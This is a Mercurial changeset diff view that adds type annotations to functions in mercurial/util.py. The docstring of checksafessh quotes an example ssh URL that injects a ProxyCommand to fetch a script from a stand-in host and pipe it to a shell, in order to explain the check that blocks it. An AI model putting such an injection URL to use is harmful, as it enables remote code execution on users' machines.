Mercurial > hg
comparison mercurial/util.py @ 46645:7711853110b9
typing: add some type annotations to mercurial/util.py
Differential Revision: https://phab.mercurial-scm.org/D10127
author | Matt Harbison <matt_harbison@yahoo.com> |
---|---|
date | Sat, 06 Mar 2021 23:41:32 -0500 |
parents | 59fa3890d40a |
children | 6f4a481f182a |
comparison
equal
deleted
inserted
replaced
46644:77e129be10de | 46645:7711853110b9 |
---|---|
56 compression, | 56 compression, |
57 hashutil, | 57 hashutil, |
58 procutil, | 58 procutil, |
59 stringutil, | 59 stringutil, |
60 ) | 60 ) |
61 | |
62 if pycompat.TYPE_CHECKING: | |
63 from typing import ( | |
64 Iterator, | |
65 List, | |
66 Optional, | |
67 Tuple, | |
68 Union, | |
69 ) | |
70 | |
61 | 71 |
62 base85 = policy.importmod('base85') | 72 base85 = policy.importmod('base85') |
63 osutil = policy.importmod('osutil') | 73 osutil = policy.importmod('osutil') |
64 | 74 |
65 b85decode = base85.b85decode | 75 b85decode = base85.b85decode |
131 unlink = platform.unlink | 141 unlink = platform.unlink |
132 username = platform.username | 142 username = platform.username |
133 | 143 |
134 | 144 |
135 def setumask(val): | 145 def setumask(val): |
146 # type: (int) -> None | |
136 ''' updates the umask. used by chg server ''' | 147 ''' updates the umask. used by chg server ''' |
137 if pycompat.iswindows: | 148 if pycompat.iswindows: |
138 return | 149 return |
139 os.umask(val) | 150 os.umask(val) |
140 global umask | 151 global umask |
305 % (k, v, self._digester[k]) | 316 % (k, v, self._digester[k]) |
306 ) | 317 ) |
307 | 318 |
308 | 319 |
309 try: | 320 try: |
310 buffer = buffer | 321 buffer = buffer # pytype: disable=name-error |
311 except NameError: | 322 except NameError: |
312 | 323 |
313 def buffer(sliceable, offset=0, length=None): | 324 def buffer(sliceable, offset=0, length=None): |
314 if length is not None: | 325 if length is not None: |
315 return memoryview(sliceable)[offset : offset + length] | 326 return memoryview(sliceable)[offset : offset + length] |
1831 # PyPy runs slower with gc disabled | 1842 # PyPy runs slower with gc disabled |
1832 nogc = lambda x: x | 1843 nogc = lambda x: x |
1833 | 1844 |
1834 | 1845 |
1835 def pathto(root, n1, n2): | 1846 def pathto(root, n1, n2): |
1847 # type: (bytes, bytes, bytes) -> bytes | |
1836 """return the relative path from one place to another. | 1848 """return the relative path from one place to another. |
1837 root should use os.sep to separate directories | 1849 root should use os.sep to separate directories |
1838 n1 should use os.sep to separate directories | 1850 n1 should use os.sep to separate directories |
1839 n2 should use "/" to separate directories | 1851 n2 should use "/" to separate directories |
1840 returns an os.sep-separated path. | 1852 returns an os.sep-separated path. |
2015 } | 2027 } |
2016 _winreservedchars = b':*?"<>|' | 2028 _winreservedchars = b':*?"<>|' |
2017 | 2029 |
2018 | 2030 |
2019 def checkwinfilename(path): | 2031 def checkwinfilename(path): |
2032 # type: (bytes) -> Optional[bytes] | |
2020 r"""Check that the base-relative path is a valid filename on Windows. | 2033 r"""Check that the base-relative path is a valid filename on Windows. |
2021 Returns None if the path is ok, or a UI string describing the problem. | 2034 Returns None if the path is ok, or a UI string describing the problem. |
2022 | 2035 |
2023 >>> checkwinfilename(b"just/a/normal/path") | 2036 >>> checkwinfilename(b"just/a/normal/path") |
2024 >>> checkwinfilename(b"foo/bar/con.xml") | 2037 >>> checkwinfilename(b"foo/bar/con.xml") |
2109 os.write(ld, info) | 2122 os.write(ld, info) |
2110 os.close(ld) | 2123 os.close(ld) |
2111 | 2124 |
2112 | 2125 |
2113 def readlock(pathname): | 2126 def readlock(pathname): |
2127 # type: (bytes) -> bytes | |
2114 try: | 2128 try: |
2115 return readlink(pathname) | 2129 return readlink(pathname) |
2116 except OSError as why: | 2130 except OSError as why: |
2117 if why.errno not in (errno.EINVAL, errno.ENOSYS): | 2131 if why.errno not in (errno.EINVAL, errno.ENOSYS): |
2118 raise | 2132 raise |
2132 | 2146 |
2133 # File system features | 2147 # File system features |
2134 | 2148 |
2135 | 2149 |
2136 def fscasesensitive(path): | 2150 def fscasesensitive(path): |
2151 # type: (bytes) -> bool | |
2137 """ | 2152 """ |
2138 Return true if the given path is on a case-sensitive filesystem | 2153 Return true if the given path is on a case-sensitive filesystem |
2139 | 2154 |
2140 Requires a path (like /foo/.hg) ending with a foldable final | 2155 Requires a path (like /foo/.hg) ending with a foldable final |
2141 directory component. | 2156 directory component. |
2213 | 2228 |
2214 _fspathcache = {} | 2229 _fspathcache = {} |
2215 | 2230 |
2216 | 2231 |
2217 def fspath(name, root): | 2232 def fspath(name, root): |
2233 # type: (bytes, bytes) -> bytes | |
2218 """Get name in the case stored in the filesystem | 2234 """Get name in the case stored in the filesystem |
2219 | 2235 |
2220 The name should be relative to root, and be normcase-ed for efficiency. | 2236 The name should be relative to root, and be normcase-ed for efficiency. |
2221 | 2237 |
2222 Note that this function is unnecessary, and should not be | 2238 Note that this function is unnecessary, and should not be |
2257 | 2273 |
2258 return b''.join(result) | 2274 return b''.join(result) |
2259 | 2275 |
2260 | 2276 |
2261 def checknlink(testfile): | 2277 def checknlink(testfile): |
2278 # type: (bytes) -> bool | |
2262 '''check whether hardlink count reporting works properly''' | 2279 '''check whether hardlink count reporting works properly''' |
2263 | 2280 |
2264 # testfile may be open, so we need a separate file for checking to | 2281 # testfile may be open, so we need a separate file for checking to |
2265 # work around issue2543 (or testfile may get lost on Samba shares) | 2282 # work around issue2543 (or testfile may get lost on Samba shares) |
2266 f1, f2, fp = None, None, None | 2283 f1, f2, fp = None, None, None |
2290 except OSError: | 2307 except OSError: |
2291 pass | 2308 pass |
2292 | 2309 |
2293 | 2310 |
2294 def endswithsep(path): | 2311 def endswithsep(path): |
2312 # type: (bytes) -> bool | |
2295 '''Check path ends with os.sep or os.altsep.''' | 2313 '''Check path ends with os.sep or os.altsep.''' |
2296 return ( | 2314 return bool( # help pytype |
2297 path.endswith(pycompat.ossep) | 2315 path.endswith(pycompat.ossep) |
2298 or pycompat.osaltsep | 2316 or pycompat.osaltsep |
2299 and path.endswith(pycompat.osaltsep) | 2317 and path.endswith(pycompat.osaltsep) |
2300 ) | 2318 ) |
2301 | 2319 |
2302 | 2320 |
2303 def splitpath(path): | 2321 def splitpath(path): |
2322 # type: (bytes) -> List[bytes] | |
2304 """Split path by os.sep. | 2323 """Split path by os.sep. |
2305 Note that this function does not use os.altsep because this is | 2324 Note that this function does not use os.altsep because this is |
2306 an alternative of simple "xxx.split(os.sep)". | 2325 an alternative of simple "xxx.split(os.sep)". |
2307 It is recommended to use os.path.normpath() before using this | 2326 It is recommended to use os.path.normpath() before using this |
2308 function if need.""" | 2327 function if need.""" |
2527 else: | 2546 else: |
2528 self.close() | 2547 self.close() |
2529 | 2548 |
2530 | 2549 |
2531 def unlinkpath(f, ignoremissing=False, rmdir=True): | 2550 def unlinkpath(f, ignoremissing=False, rmdir=True): |
2551 # type: (bytes, bool, bool) -> None | |
2532 """unlink and remove the directory if it is empty""" | 2552 """unlink and remove the directory if it is empty""" |
2533 if ignoremissing: | 2553 if ignoremissing: |
2534 tryunlink(f) | 2554 tryunlink(f) |
2535 else: | 2555 else: |
2536 unlink(f) | 2556 unlink(f) |
2541 except OSError: | 2561 except OSError: |
2542 pass | 2562 pass |
2543 | 2563 |
2544 | 2564 |
2545 def tryunlink(f): | 2565 def tryunlink(f): |
2566 # type: (bytes) -> None | |
2546 """Attempt to remove a file, ignoring ENOENT errors.""" | 2567 """Attempt to remove a file, ignoring ENOENT errors.""" |
2547 try: | 2568 try: |
2548 unlink(f) | 2569 unlink(f) |
2549 except OSError as e: | 2570 except OSError as e: |
2550 if e.errno != errno.ENOENT: | 2571 if e.errno != errno.ENOENT: |
2551 raise | 2572 raise |
2552 | 2573 |
2553 | 2574 |
2554 def makedirs(name, mode=None, notindexed=False): | 2575 def makedirs(name, mode=None, notindexed=False): |
2576 # type: (bytes, Optional[int], bool) -> None | |
2555 """recursive directory creation with parent mode inheritance | 2577 """recursive directory creation with parent mode inheritance |
2556 | 2578 |
2557 Newly created directories are marked as "not to be indexed by | 2579 Newly created directories are marked as "not to be indexed by |
2558 the content indexing service", if ``notindexed`` is specified | 2580 the content indexing service", if ``notindexed`` is specified |
2559 for "write" mode access. | 2581 for "write" mode access. |
2579 if mode is not None: | 2601 if mode is not None: |
2580 os.chmod(name, mode) | 2602 os.chmod(name, mode) |
2581 | 2603 |
2582 | 2604 |
2583 def readfile(path): | 2605 def readfile(path): |
2606 # type: (bytes) -> bytes | |
2584 with open(path, b'rb') as fp: | 2607 with open(path, b'rb') as fp: |
2585 return fp.read() | 2608 return fp.read() |
2586 | 2609 |
2587 | 2610 |
2588 def writefile(path, text): | 2611 def writefile(path, text): |
2612 # type: (bytes, bytes) -> None | |
2589 with open(path, b'wb') as fp: | 2613 with open(path, b'wb') as fp: |
2590 fp.write(text) | 2614 fp.write(text) |
2591 | 2615 |
2592 | 2616 |
2593 def appendfile(path, text): | 2617 def appendfile(path, text): |
2618 # type: (bytes, bytes) -> None | |
2594 with open(path, b'ab') as fp: | 2619 with open(path, b'ab') as fp: |
2595 fp.write(text) | 2620 fp.write(text) |
2596 | 2621 |
2597 | 2622 |
2598 class chunkbuffer(object): | 2623 class chunkbuffer(object): |
2750 | 2775 |
2751 return go | 2776 return go |
2752 | 2777 |
2753 | 2778 |
2754 def processlinerange(fromline, toline): | 2779 def processlinerange(fromline, toline): |
2780 # type: (int, int) -> Tuple[int, int] | |
2755 """Check that linerange <fromline>:<toline> makes sense and return a | 2781 """Check that linerange <fromline>:<toline> makes sense and return a |
2756 0-based range. | 2782 0-based range. |
2757 | 2783 |
2758 >>> processlinerange(10, 20) | 2784 >>> processlinerange(10, 20) |
2759 (9, 20) | 2785 (9, 20) |
2809 # stray CR is an error. | 2835 # stray CR is an error. |
2810 _eolre = remod.compile(br'\r*\n') | 2836 _eolre = remod.compile(br'\r*\n') |
2811 | 2837 |
2812 | 2838 |
2813 def tolf(s): | 2839 def tolf(s): |
2840 # type: (bytes) -> bytes | |
2814 return _eolre.sub(b'\n', s) | 2841 return _eolre.sub(b'\n', s) |
2815 | 2842 |
2816 | 2843 |
2817 def tocrlf(s): | 2844 def tocrlf(s): |
2845 # type: (bytes) -> bytes | |
2818 return _eolre.sub(b'\r\n', s) | 2846 return _eolre.sub(b'\r\n', s) |
2819 | 2847 |
2820 | 2848 |
2821 def _crlfwriter(fp): | 2849 def _crlfwriter(fp): |
2822 return transformingwriter(fp, tocrlf) | 2850 return transformingwriter(fp, tocrlf) |
2876 def iterfile(fp): | 2904 def iterfile(fp): |
2877 return fp | 2905 return fp |
2878 | 2906 |
2879 | 2907 |
2880 def iterlines(iterator): | 2908 def iterlines(iterator): |
2909 # type: (Iterator[bytes]) -> Iterator[bytes] | |
2881 for chunk in iterator: | 2910 for chunk in iterator: |
2882 for line in chunk.splitlines(): | 2911 for line in chunk.splitlines(): |
2883 yield line | 2912 yield line |
2884 | 2913 |
2885 | 2914 |
2886 def expandpath(path): | 2915 def expandpath(path): |
2916 # type: (bytes) -> bytes | |
2887 return os.path.expanduser(os.path.expandvars(path)) | 2917 return os.path.expanduser(os.path.expandvars(path)) |
2888 | 2918 |
2889 | 2919 |
2890 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): | 2920 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
2891 """Return the result of interpolating items in the mapping into string s. | 2921 """Return the result of interpolating items in the mapping into string s. |
2912 r = remod.compile(br'%s(%s)' % (prefix, patterns)) | 2942 r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
2913 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) | 2943 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
2914 | 2944 |
2915 | 2945 |
2916 def getport(port): | 2946 def getport(port): |
2947 # type: (Union[bytes, int]) -> int | |
2917 """Return the port for a given network service. | 2948 """Return the port for a given network service. |
2918 | 2949 |
2919 If port is an integer, it's returned as is. If it's a string, it's | 2950 If port is an integer, it's returned as is. If it's a string, it's |
2920 looked up using socket.getservbyname(). If there's no matching | 2951 looked up using socket.getservbyname(). If there's no matching |
2921 service, error.Abort is raised. | 2952 service, error.Abort is raised. |
3010 _safechars = b"!~*'()+" | 3041 _safechars = b"!~*'()+" |
3011 _safepchars = b"/!~*'()+:\\" | 3042 _safepchars = b"/!~*'()+:\\" |
3012 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | 3043 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
3013 | 3044 |
3014 def __init__(self, path, parsequery=True, parsefragment=True): | 3045 def __init__(self, path, parsequery=True, parsefragment=True): |
3046 # type: (bytes, bool, bool) -> None | |
3015 # We slowly chomp away at path until we have only the path left | 3047 # We slowly chomp away at path until we have only the path left |
3016 self.scheme = self.user = self.passwd = self.host = None | 3048 self.scheme = self.user = self.passwd = self.host = None |
3017 self.port = self.path = self.query = self.fragment = None | 3049 self.port = self.path = self.query = self.fragment = None |
3018 self._localpath = True | 3050 self._localpath = True |
3019 self._hostport = b'' | 3051 self._hostport = b'' |
3237 if self.path.startswith(b'/'): | 3269 if self.path.startswith(b'/'): |
3238 return True # POSIX-style | 3270 return True # POSIX-style |
3239 return False | 3271 return False |
3240 | 3272 |
3241 def localpath(self): | 3273 def localpath(self): |
3274 # type: () -> bytes | |
3242 if self.scheme == b'file' or self.scheme == b'bundle': | 3275 if self.scheme == b'file' or self.scheme == b'bundle': |
3243 path = self.path or b'/' | 3276 path = self.path or b'/' |
3244 # For Windows, we need to promote hosts containing drive | 3277 # For Windows, we need to promote hosts containing drive |
3245 # letters to paths with drive letters. | 3278 # letters to paths with drive letters. |
3246 if hasdriveletter(self._hostport): | 3279 if hasdriveletter(self._hostport): |
3260 or self.scheme == b'bundle' | 3293 or self.scheme == b'bundle' |
3261 ) | 3294 ) |
3262 | 3295 |
3263 | 3296 |
3264 def hasscheme(path): | 3297 def hasscheme(path): |
3265 return bool(url(path).scheme) | 3298 # type: (bytes) -> bool |
3299 return bool(url(path).scheme) # cast to help pytype | |
3266 | 3300 |
3267 | 3301 |
3268 def hasdriveletter(path): | 3302 def hasdriveletter(path): |
3269 return path and path[1:2] == b':' and path[0:1].isalpha() | 3303 # type: (bytes) -> bool |
3304 return bool(path) and path[1:2] == b':' and path[0:1].isalpha() | |
3270 | 3305 |
3271 | 3306 |
3272 def urllocalpath(path): | 3307 def urllocalpath(path): |
3308 # type: (bytes) -> bytes | |
3273 return url(path, parsequery=False, parsefragment=False).localpath() | 3309 return url(path, parsequery=False, parsefragment=False).localpath() |
3274 | 3310 |
3275 | 3311 |
3276 def checksafessh(path): | 3312 def checksafessh(path): |
3313 # type: (bytes) -> None | |
3277 """check if a path / url is a potentially unsafe ssh exploit (SEC) | 3314 """check if a path / url is a potentially unsafe ssh exploit (SEC) |
3278 | 3315 |
3279 This is a sanity check for ssh urls. ssh will parse the first item as | 3316 This is a sanity check for ssh urls. ssh will parse the first item as |
3280 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | 3317 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
3281 Let's prevent these potentially exploited urls entirely and warn the | 3318 Let's prevent these potentially exploited urls entirely and warn the |
3289 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | 3326 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
3290 ) | 3327 ) |
3291 | 3328 |
3292 | 3329 |
3293 def hidepassword(u): | 3330 def hidepassword(u): |
3331 # type: (bytes) -> bytes | |
3294 '''hide user credential in a url string''' | 3332 '''hide user credential in a url string''' |
3295 u = url(u) | 3333 u = url(u) |
3296 if u.passwd: | 3334 if u.passwd: |
3297 u.passwd = b'***' | 3335 u.passwd = b'***' |
3298 return bytes(u) | 3336 return bytes(u) |
3299 | 3337 |
3300 | 3338 |
3301 def removeauth(u): | 3339 def removeauth(u): |
3340 # type: (bytes) -> bytes | |
3302 '''remove all authentication information from a url string''' | 3341 '''remove all authentication information from a url string''' |
3303 u = url(u) | 3342 u = url(u) |
3304 u.user = u.passwd = None | 3343 u.user = u.passwd = None |
3305 return bytes(u) | 3344 return bytes(u) |
3306 | 3345 |
3402 (b'b', 1), | 3441 (b'b', 1), |
3403 ) | 3442 ) |
3404 | 3443 |
3405 | 3444 |
3406 def sizetoint(s): | 3445 def sizetoint(s): |
3446 # type: (bytes) -> int | |
3407 """Convert a space specifier to a byte count. | 3447 """Convert a space specifier to a byte count. |
3408 | 3448 |
3409 >>> sizetoint(b'30') | 3449 >>> sizetoint(b'30') |
3410 30 | 3450 30 |
3411 >>> sizetoint(b'2.2kb') | 3451 >>> sizetoint(b'2.2kb') |
3627 else: | 3667 else: |
3628 yield | 3668 yield |
3629 | 3669 |
3630 | 3670 |
3631 def _estimatememory(): | 3671 def _estimatememory(): |
3672 # type: () -> Optional[int] | |
3632 """Provide an estimate for the available system memory in Bytes. | 3673 """Provide an estimate for the available system memory in Bytes. |
3633 | 3674 |
3634 If no estimate can be provided on the platform, returns None. | 3675 If no estimate can be provided on the platform, returns None. |
3635 """ | 3676 """ |
3636 if pycompat.sysplatform.startswith(b'win'): | 3677 if pycompat.sysplatform.startswith(b'win'): |
3637 # On Windows, use the GlobalMemoryStatusEx kernel function directly. | 3678 # On Windows, use the GlobalMemoryStatusEx kernel function directly. |
3638 from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG | 3679 from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG |
3639 from ctypes.wintypes import Structure, byref, sizeof, windll | 3680 from ctypes.wintypes import ( # pytype: disable=import-error |
3681 Structure, | |
3682 byref, | |
3683 sizeof, | |
3684 windll, | |
3685 ) | |
3640 | 3686 |
3641 class MEMORYSTATUSEX(Structure): | 3687 class MEMORYSTATUSEX(Structure): |
3642 _fields_ = [ | 3688 _fields_ = [ |
3643 ('dwLength', DWORD), | 3689 ('dwLength', DWORD), |
3644 ('dwMemoryLoad', DWORD), | 3690 ('dwMemoryLoad', DWORD), |